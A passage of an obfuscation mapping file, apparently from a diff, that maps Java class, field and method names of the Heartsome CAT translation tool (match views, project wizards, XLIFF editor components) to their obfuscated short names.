access$3(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread) -> c + net.heartsome.cat.ts.ui.translation.view.MatchViewPart access$4(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread) -> d +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$1 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$1: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread this$1 -> ahO + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$2 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$2: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread this$1 -> ahO + java.util.Vector val$tmAltTrans -> akf + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$3 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$3: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread this$1 -> ahO + java.util.List val$needSaveAltTransList -> akg + java.util.List val$needClearToolId -> akh + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$4 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$4: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread this$1 -> ahO + java.util.List val$altTransVector -> aki + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$5 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread$5: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread this$1 -> ahO + java.lang.String val$content -> abx + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$FontPropertyChangeListener -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$FontPropertyChangeListener: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread: + boolean isLocked -> dY + boolean stop -> Zt + boolean interrupt -> aio + net.heartsome.cat.ts.ui.translation.view.TranslationTaskContainer container -> aip + java.text.MessageFormat msgFormat -> aiq + net.heartsome.cat.ts.core.bean.TransUnitBean transUnitBean -> alu + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfoBean -> Ae + net.heartsome.cat.ts.ui.editors.IXliffEditor editor -> als + int rowIndex -> rowIndex + org.eclipse.core.resources.IProject project -> project + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + void run() -> run + void interruptCurrentTask() -> interruptCurrentTask + void setLock(boolean) -> setLock + void setStop() -> setStop + void updateStatusInfo(java.lang.String) -> eQ + void refreshAltTransCache(java.util.List) -> H + void refreshUI() -> lV + int access$0(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread) -> a + void access$1(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread,java.lang.String) -> a + net.heartsome.cat.ts.ui.translation.view.MatchViewPart access$2(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread) -> b +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread$1 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread$1: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread this$1 -> air + net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher val$simpleMatcher -> ais + net.heartsome.cat.ts.core.file.XLFHandler val$handler -> aku + java.util.List val$newAltTrans -> ait + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread$2 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread$2: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread this$1 -> air + java.lang.String val$content -> abx + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread$3 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread$3: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread this$1 -> air + void run() -> run +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Menu bodyMenu -> ZG + net.heartsome.cat.ts.ui.translation.view.MatchViewPart view -> akj + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$CopyAction copyAction -> akk + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$DeleteTmAction deleteAction -> akl + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$EditTmAction editAction -> akm + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$AcceptMatchAction acceptMatchAction -> akn + net.heartsome.cat.ts.ui.editors.IXliffEditor editor -> als + int rowIndex -> rowIndex + org.eclipse.swt.widgets.Menu getBodyMenu() -> getBodyMenu + void createMenu() -> createMenu + void updateActionState() -> nC + void setEditor(net.heartsome.cat.ts.ui.editors.IXliffEditor) -> setEditor + void setRowIndex(int) -> setRowIndex + net.heartsome.cat.ts.ui.translation.view.MatchViewPart access$0(net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu) -> a + net.heartsome.cat.ts.ui.editors.IXliffEditor access$1(net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu) -> b + int access$2(net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu) -> c + org.slf4j.Logger access$3() -> op +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$1 -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$1: + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu this$0 -> akp + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$AcceptMatchAction -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$AcceptMatchAction: + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu this$0 -> akp + void run() -> run + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$AcceptMatchPureTextAction -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$AcceptMatchPureTextAction: + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu this$0 -> akp + void run() -> run + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$CopyAction -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$CopyAction: + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu this$0 -> akp + void run() -> run + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$DeleteTmAction -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$DeleteTmAction: + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu this$0 -> akp + void run() -> run + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$EditTmAction -> net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu$EditTmAction: + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu this$0 -> akp + void run() -> run + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.view.SourceColunmCellRenderer -> net.heartsome.cat.ts.ui.translation.view.SourceColunmCellRenderer: + org.eclipse.swt.graphics.Color diffColor -> apQ + org.eclipse.swt.graphics.Color inOrDecreaseColor -> apR + org.eclipse.swt.graphics.Color positionColor -> apS + java.lang.String tuSrcText -> Vc + net.heartsome.cat.ts.ui.innertag.SegmentViewer segmentViewer -> apT + void setTuSrcText(java.lang.String) -> setTuSrcText + void setSegmentViewer(net.heartsome.cat.ts.ui.innertag.SegmentViewer) -> setSegmentViewer + void paint(org.eclipse.swt.graphics.GC,java.lang.Object) -> paint + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.graphics.GC,int,int,java.lang.Object) -> computeSize + boolean notify(int,org.eclipse.swt.graphics.Point,java.lang.Object) -> notify + boolean positionDiff(java.util.LinkedList,java.lang.String,java.lang.String) -> a + void dispose() -> dispose +net.heartsome.cat.ts.ui.translation.view.TargetColunmCellRenderer -> net.heartsome.cat.ts.ui.translation.view.TargetColunmCellRenderer: + void paint(org.eclipse.swt.graphics.GC,java.lang.Object) -> paint + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.graphics.GC,int,int,java.lang.Object) -> computeSize + org.eclipse.swt.graphics.Rectangle getTextBounds(org.eclipse.nebula.widgets.grid.GridItem,boolean) -> getTextBounds + boolean notify(int,org.eclipse.swt.graphics.Point,java.lang.Object) -> notify +net.heartsome.cat.ts.ui.translation.view.TranslationTaskContainer -> net.heartsome.cat.ts.ui.translation.view.TranslationTaskContainer: + java.util.List dataList -> dataList + void clearContainer() -> clearContainer + boolean isEmpty() -> isEmpty + net.heartsome.cat.ts.ui.translation.view.TranslationTaskData popTranslationTask() -> popTranslationTask + void pushTranslationTask(net.heartsome.cat.ts.ui.translation.view.TranslationTaskData) -> pushTranslationTask +net.heartsome.cat.ts.ui.translation.view.TranslationTaskData -> net.heartsome.cat.ts.ui.translation.view.TranslationTaskData: + java.lang.Object matcher -> alv + net.heartsome.cat.ts.core.bean.TransUnitBean transUnit -> ahN + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfo -> alt + net.heartsome.cat.ts.ui.editors.IXliffEditor editor -> als + int rowIndex -> rowIndex + org.eclipse.core.resources.IProject project -> project + java.lang.Object getMatcher() -> getMatcher + void setMatcher(java.lang.Object) -> setMatcher + net.heartsome.cat.ts.core.bean.TransUnitBean getTransUnit() -> getTransUnit + void setTransUnit(net.heartsome.cat.ts.core.bean.TransUnitBean) -> setTransUnit + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean getTuInfo() -> getTuInfo + void setTuInfo(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> setTuInfo + net.heartsome.cat.ts.ui.editors.IXliffEditor getEditor() -> getEditor + void setEditor(net.heartsome.cat.ts.ui.editors.IXliffEditor) -> setEditor + int getRowIndex() -> getRowIndex + void setRowIndex(int) -> setRowIndex + org.eclipse.core.resources.IProject getProject() -> getProject + void setProject(org.eclipse.core.resources.IProject) -> setProject +net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer -> net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer: + org.eclipse.swt.graphics.TextLayout textLayout -> pj + void paint(org.eclipse.swt.graphics.GC,java.lang.Object) -> paint + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.graphics.GC,int,int,java.lang.Object) -> computeSize + org.eclipse.swt.graphics.Rectangle getTextBounds(org.eclipse.nebula.widgets.grid.GridItem,boolean) -> getTextBounds + boolean notify(int,org.eclipse.swt.graphics.Point,java.lang.Object) -> notify + org.eclipse.swt.graphics.TextLayout access$0(net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer) -> a +net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer$1 -> net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer$1: + net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer this$0 -> Vg + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.util.DataSourceHelper -> net.heartsome.cat.ts.ui.util.DataSourceHelper: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.core.runtime.QualifiedName name -> Vh + java.lang.Class dataSourceClass -> Vi + java.util.HashMap map -> map + java.lang.Object getDataSource(org.eclipse.ui.IEditorPart) -> getDataSource + java.lang.Object getDataSource(org.eclipse.ui.IEditorInput) -> getDataSource + java.lang.Object getDataSource(org.eclipse.core.resources.IFile) -> d + boolean setDataSource(org.eclipse.core.resources.IFile,java.lang.Object) -> a + boolean setDataSource(org.eclipse.ui.IEditorInput,java.lang.Object) -> setDataSource + boolean setDataSource(org.eclipse.ui.IEditorPart,java.lang.Object) -> setDataSource + java.lang.String generateKey(org.eclipse.ui.ide.FileStoreEditorInput) -> a + boolean copyDataSource(org.eclipse.ui.IEditorInput,org.eclipse.ui.IEditorInput) -> copyDataSource +net.heartsome.cat.ts.ui.util.IntelligentTagPrcessor -> net.heartsome.cat.ts.ui.util.IntelligentTagPrcessor: + java.lang.String intelligentAppendTag(java.lang.String,java.lang.String) -> intelligentAppendTag + java.lang.StringBuilder processNextStandloneTag(java.lang.String,java.util.List,int) -> a + java.lang.StringBuilder processPreStandloneTag(java.lang.String,java.lang.String,java.util.List,int) -> a +net.heartsome.cat.ts.ui.util.MultiFilesOper -> net.heartsome.cat.ts.ui.util.MultiFilesOper: + java.lang.String _TEMPFOLDER -> Vj + java.lang.String _XLP -> Vk + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + org.eclipse.core.resources.IProject selectedProject -> Vl + java.util.ArrayList selectIFiles -> Vm + org.eclipse.core.resources.IFile curMultiTempFile -> Vn + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.core.resources.IFile createMultiTempFile() -> createMultiTempFile + boolean validExist() -> validExist + java.util.List getAllOpenedIFiles() -> getAllOpenedIFiles + boolean hasOpenedIFile() -> hasOpenedIFile + java.util.List getOpenedIfile() -> getOpenedIfile + org.eclipse.core.resources.IFile getMultiFilesTempIFile(boolean) -> getMultiFilesTempIFile + java.io.File createTempFile() -> createTempFile + org.eclipse.core.resources.IProject getSelectedProject() -> getSelectedProject + void setSelectedProject(org.eclipse.core.resources.IProject) -> setSelectedProject + java.util.ArrayList getSelectIFiles() -> getSelectIFiles + void setSelectIFiles(java.util.ArrayList) -> setSelectIFiles + org.eclipse.core.resources.IFile getCurMultiTempFile() -> getCurMultiTempFile + void setCurMultiTempFile(org.eclipse.core.resources.IFile) -> setCurMultiTempFile +net.heartsome.cat.ts.ui.util.PreferenceUtil -> net.heartsome.cat.ts.ui.util.PreferenceUtil: + org.slf4j.Logger LOGGER -> LOGGER + java.util.ArrayList getProjectFieldList() -> getProjectFieldList + java.util.LinkedHashMap getProjectAttributeMap() -> getProjectAttributeMap + void openPreferenceDialog(org.eclipse.ui.IWorkbenchWindow,java.lang.String) -> openPreferenceDialog + void initProductEdition() -> initProductEdition + void checkCleanValue() -> checkCleanValue + boolean checkEdition() -> checkEdition +net.heartsome.cat.ts.ui.util.PreferenceUtil$1 -> net.heartsome.cat.ts.ui.util.PreferenceUtil$1: + java.text.Collator val$collatorChinese -> ZT + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.util.PreferenceUtil$2 -> net.heartsome.cat.ts.ui.util.PreferenceUtil$2: + java.lang.String val$defaultId -> ahG + java.lang.Object[] val$defaultNode -> ahH + java.util.List val$imageList -> ahI + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.cat.ts.ui.util.TmUtils -> net.heartsome.cat.ts.ui.util.TmUtils: + org.eclipse.swt.graphics.Color getMatchTypeColor(java.lang.String,java.lang.String) -> getMatchTypeColor + java.util.Vector fuzzyResult2Alttransbean(java.util.List) -> fuzzyResult2Alttransbean + java.util.Vector altTransInfoConverter(java.util.List,java.util.Vector) -> altTransInfoConverter + boolean isMatchExist(java.util.Vector,net.heartsome.cat.ts.core.bean.AltTransBean,java.lang.String,java.util.Vector) -> isMatchExist + void checkVecotrMaxSize(java.util.Vector,int) -> checkVecotrMaxSize + java.util.Vector checkMatchQuality(java.util.Vector,int) -> checkMatchQuality + java.lang.String adjustSpace(java.lang.String,java.lang.String) -> adjustSpace +net.heartsome.cat.ts.ui.view.IMatchViewPart -> net.heartsome.cat.ts.ui.view.IMatchViewPart: + void refreshTable() -> refreshTable + void reLoadMatches(net.heartsome.cat.ts.ui.editors.IXliffEditor,int) -> reLoadMatches + void acceptMatchByIndex(int) -> acceptMatchByIndex + void manualExecComplexTranslation(int,net.heartsome.cat.ts.ui.editors.IXliffEditor,net.heartsome.cat.ts.tm.complexMatch.IComplexMatch) -> manualExecComplexTranslation + void manualExecSimpleTranslation(int,net.heartsome.cat.ts.ui.editors.IXliffEditor,net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher) -> manualExecSimpleTranslation +net.heartsome.cat.ts.ui.view.ITermViewPart -> net.heartsome.cat.ts.ui.view.ITermViewPart: + void acceptTermByIndex(int) -> acceptTermByIndex +net.heartsome.cat.ts.ui.wizards.NewProjectWizard -> net.heartsome.cat.ts.ui.wizards.a: + org.slf4j.Logger logger -> logger + java.lang.String PAGE_EXTENSION_ID -> Vo + net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage firstPage -> Vp + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage secondPage -> Vq + net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage srcFilesPage -> Vr + java.util.List extensionPages -> FE + net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller convertImpl -> Vs + java.util.List sourcefiles -> Vt + void runWizardPageExtension() -> gV + net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage getPageByType(java.lang.String) -> ex + void addPages() -> addPages + void init(org.eclipse.ui.IWorkbench,org.eclipse.jface.viewers.IStructuredSelection) -> init + boolean performFinish() -> performFinish + void createProject(org.eclipse.core.resources.IProject,org.eclipse.core.runtime.IProgressMonitor) -> a + void createFolders(org.eclipse.core.resources.IProject,java.lang.String[]) -> a + void createChildrenFoders(org.eclipse.core.resources.IFolder,java.lang.String[]) -> a + void initProjectConfig(org.eclipse.core.resources.IProject,org.eclipse.core.runtime.IProgressMonitor) -> b + void copySourceFile(org.eclipse.core.resources.IProject,java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> a + java.util.List access$0(net.heartsome.cat.ts.ui.wizards.NewProjectWizard) -> a + void access$1(net.heartsome.cat.ts.ui.wizards.NewProjectWizard,net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller) -> a + void access$2(net.heartsome.cat.ts.ui.wizards.NewProjectWizard,org.eclipse.core.resources.IProject,org.eclipse.core.runtime.IProgressMonitor) -> a + void access$3(net.heartsome.cat.ts.ui.wizards.NewProjectWizard,org.eclipse.core.resources.IProject,java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> a + void access$4(net.heartsome.cat.ts.ui.wizards.NewProjectWizard,org.eclipse.core.resources.IProject,org.eclipse.core.runtime.IProgressMonitor) -> b + net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage access$5(net.heartsome.cat.ts.ui.wizards.NewProjectWizard) -> b + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage access$6(net.heartsome.cat.ts.ui.wizards.NewProjectWizard) -> c + java.util.List access$7(net.heartsome.cat.ts.ui.wizards.NewProjectWizard) -> d +net.heartsome.cat.ts.ui.wizards.NewProjectWizard$1 -> net.heartsome.cat.ts.ui.wizards.b: + net.heartsome.cat.ts.ui.wizards.NewProjectWizard this$0 -> Vu + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.ui.wizards.NewProjectWizard$2 -> net.heartsome.cat.ts.ui.wizards.c: + net.heartsome.cat.ts.ui.wizards.NewProjectWizard this$0 -> Vu + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.ui.wizards.NewProjectWizard$3 -> net.heartsome.cat.ts.ui.wizards.d: + net.heartsome.cat.ts.ui.wizards.NewProjectWizard this$0 -> Vu + org.eclipse.core.resources.IProject val$project -> Ar + java.util.List val$srcFiles -> Vv + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.wizards.NewProjectWizard$4 -> net.heartsome.cat.ts.ui.wizards.e: + net.heartsome.cat.ts.ui.wizards.NewProjectWizard this$0 -> Vu + org.eclipse.core.resources.IProject val$project -> Ar + org.eclipse.core.runtime.IProgressMonitor val$sMonitor -> Vw + void run() -> run +net.heartsome.cat.ts.ui.wizards.NewProjectWizard$5 -> net.heartsome.cat.ts.ui.wizards.f: + net.heartsome.cat.ts.ui.wizards.NewProjectWizard this$0 -> Vu + java.util.List val$srcFiles -> Vv + org.eclipse.core.runtime.IProgressMonitor val$sMonitor -> Vw + org.eclipse.core.resources.IProject val$project -> Ar + org.eclipse.core.resources.IFolder val$folder -> Vx + void run() -> run +net.heartsome.cat.ts.ui.wizards.NewProjectWizardDialog -> net.heartsome.cat.ts.ui.wizards.r: + org.eclipse.swt.widgets.Button btnSetting -> LN + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void updateButtons() -> updateButtons +net.heartsome.cat.ts.ui.wizards.NewProjectWizardDialog$1 -> net.heartsome.cat.ts.ui.wizards.s: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardDialog this$0 -> ahJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage -> net.heartsome.cat.ts.ui.wizards.g: + java.util.List languages -> KJ + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer srcLangComboViewer -> LT + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$TargetLangSelect targetLangControl -> Vy + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$Validator validator -> Vz + net.heartsome.cat.common.locale.Language srcLanguage -> VA + org.eclipse.jface.preference.IPreferenceStore ps -> nP + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + net.heartsome.cat.common.locale.Language getSrcLanguage() -> kk + java.util.List getTargetlanguage() -> kl + org.eclipse.jface.wizard.IWizardPage getNextPage() -> getNextPage + org.eclipse.jface.preference.IPreferenceStore access$0(net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage) -> a + java.util.List access$1(net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage) -> b + void access$2(net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage,net.heartsome.cat.common.locale.Language) -> a + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$Validator access$3(net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage) -> c +net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$1 -> net.heartsome.cat.ts.ui.wizards.h: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage this$0 -> VB + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$2 -> net.heartsome.cat.ts.ui.wizards.i: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage this$0 -> VB + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$TargetLangSelect -> net.heartsome.cat.ts.ui.wizards.j: + org.eclipse.jface.viewers.TableViewer canSelectTableViewer -> LX + org.eclipse.jface.viewers.TableViewer hasSelTableViewer -> LY + java.lang.Object canSelectInput -> LZ + java.util.List hasSelectedList -> Ma + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$Validator validator -> Vz + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.swt.widgets.Button deleteAllBtn -> Mb + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage this$0 -> VB + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void fireChangeEvent() -> km + void execSelected(org.eclipse.jface.viewers.IStructuredSelection) -> c + void removeSelected(org.eclipse.jface.viewers.IStructuredSelection) -> d + java.lang.Object getCanSelectInput() -> kn + java.util.List getHasSelectedList() -> ko + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$Validator getValidator() -> kp + org.eclipse.jface.viewers.TableViewer getCanSelectTableViewer() -> kq + org.eclipse.jface.viewers.TableViewer getHasSelTableViewer() -> kr +net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage$Validator -> net.heartsome.cat.ts.ui.wizards.k: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage this$0 -> VB + void update() -> update +net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage -> net.heartsome.cat.ts.ui.wizards.l: + org.eclipse.swt.widgets.Text projectNameText -> VC + net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage$Validator validator -> VD + java.util.ArrayList lstText -> ahz + java.util.ArrayList lstCombo -> ahA + org.eclipse.swt.widgets.Group groupField -> ahK + org.eclipse.swt.custom.ScrolledComposite cmpScrolled -> ahL + org.eclipse.swt.widgets.Composite cmpField -> ahM + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void reload() -> reload + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + java.lang.String getProjectName() -> getProjectName + org.eclipse.core.resources.IProject getProject() -> getProject + java.util.LinkedHashMap getFieldMap() -> ip + java.util.LinkedHashMap getAttributeMap() -> mY + java.util.ArrayList access$0(net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage) -> a +net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage$Validator -> net.heartsome.cat.ts.ui.wizards.m: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage this$0 -> VE + void update() -> update +net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage -> net.heartsome.cat.ts.ui.wizards.n: + java.util.List srcFileList -> VF + org.eclipse.jface.viewers.ListViewer fileListViewer -> VG + boolean isOpenConverter -> VH + net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller converterCaller -> VI + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + java.util.List getSrcFiles() -> ks + boolean isOpenConverter() -> kt + void setConvertInfo(net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller) -> a + void main(java.lang.String[]) -> main + void access$0(net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage,boolean) -> a + java.util.List access$1(net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage) -> a + org.eclipse.jface.viewers.ListViewer access$2(net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage) -> b +net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage$1 -> net.heartsome.cat.ts.ui.wizards.o: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage this$0 -> VJ + org.eclipse.swt.widgets.Button val$btnConvert -> VK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage$2 -> net.heartsome.cat.ts.ui.wizards.p: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage this$0 -> VJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage$3 -> net.heartsome.cat.ts.ui.wizards.q: + net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage this$0 -> VJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator -> net.heartsome.cat.ts.ui.xliffeditor.nattable.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator plugin -> VL + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator getDefault() -> ku + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.ui.xliffeditor.nattable.MixUndoBean -> net.heartsome.cat.ts.ui.xliffeditor.nattable.c: + int unSaveRow -> akK + java.lang.String unSaveText -> akL + int crosseStep -> akM + int saveStatus -> akN + int getUnSaveRow() -> oj + void setUnSaveRow(int) -> ai + java.lang.String getUnSaveText() -> ok + void setUnSaveText(java.lang.String) -> fj + int getCrosseStep() -> ol + void setCrosseStep(int) -> aj + int getSaveStatus() -> om + void setSaveStatus(int) -> ak +net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean -> net.heartsome.cat.ts.ui.xliffeditor.nattable.b: + java.lang.String text -> text + java.lang.String matchType -> VM + java.lang.String quality -> VN + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText + java.lang.String getMatchType() -> getMatchType + void setMatchType(java.lang.String) -> ey + java.lang.String getQuality() -> kv + void setQuality(java.lang.String) -> ez + java.lang.String toString() -> toString +net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.KeyEditAction -> net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.a: + void run(net.sourceforge.nattable.NatTable,org.eclipse.swt.events.KeyEvent) -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.MouseEditAction -> net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.b: + void 